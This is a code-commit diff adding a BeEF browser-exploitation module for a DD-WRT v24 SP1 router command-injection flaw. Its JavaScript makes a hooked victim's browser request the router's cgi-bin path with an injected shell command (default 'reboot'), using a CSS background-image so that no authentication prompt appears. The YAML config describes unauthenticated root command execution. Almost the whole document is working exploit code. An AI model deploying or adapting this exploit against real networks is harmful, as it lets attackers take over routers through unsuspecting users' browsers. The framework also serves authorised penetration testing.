Added module for DD-WRT v24 SP1 RCE vulnerability (issue #1006).

modules/exploits/router/ddwrt_v24_sp1_cmd_exec/command.js

@@ -0,0 +1,26 @@
+//
+// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+    var host = '<%= @host %>';
+    var cmd  = '<%= @cmd %>';
+    var path = 'cgi-bin/;';
+
+    if (!host.match(/\/$/))
+        host += '/';
+
+    if (cmd.indexOf(' ') != -1)
+        cmd = cmd.replace(/\s+/g, '$IFS');
+
+    // Prevent auth dialog by generating the request via a CSS URL instead of an invisible iframe.
+    var ddwrt_div_<%= @command_id %> = document.createElement('div');
+    ddwrt_div_<%= @command_id %>.setAttribute('style', 'background-image: url("' + host + path + cmd + '")');
+    document.body.appendChild(ddwrt_div_<%= @command_id %>);
+
+    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=exploit attempted');
+
+    setTimeout(function() { document.body.removeChild(ddwrt_div_<%= @command_id %>) }, 15 * 1000);
+});

modules/exploits/router/ddwrt_v24_sp1_cmd_exec/config.yaml

@@ -0,0 +1,18 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        ddwrt_v24_sp1_cmd_exec:
+            enable: true
+            category: ['Exploits', 'Router']
+            name: 'DD-WRT v24 SP1 Command Execution'
+            description: 'DD-WRT v24 SP1 fails to properly handle metacharacters in the
+                HTTP management interface. This module abuses that flaw by injecting
+                metacharacters to allow an unauthenticated attacker to execute arbitrary
+                commands as the root user.'
+            authors: ['soh_cah_toa']
+            target:
+                working: ['ALL']

modules/exploits/router/ddwrt_v24_sp1_cmd_exec/module.rb

@@ -0,0 +1,27 @@
+#
+# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Ddwrt_v24_sp1_cmd_exec < BeEF::Core::Command
+
+    def self.options
+      return [
+        {
+          'name' => 'host',
+          'ui_label' => 'Router web root',
+          'value' => 'http://192.168.1.1/'
+        },
+        {
+          'name' => 'cmd',
+          'ui_label' => 'Command',
+          'value' => 'reboot'
+        }
+      ]
+    end
+
+    def post_execute
+      save('result' => @datastore['result'])
+    end
+
+end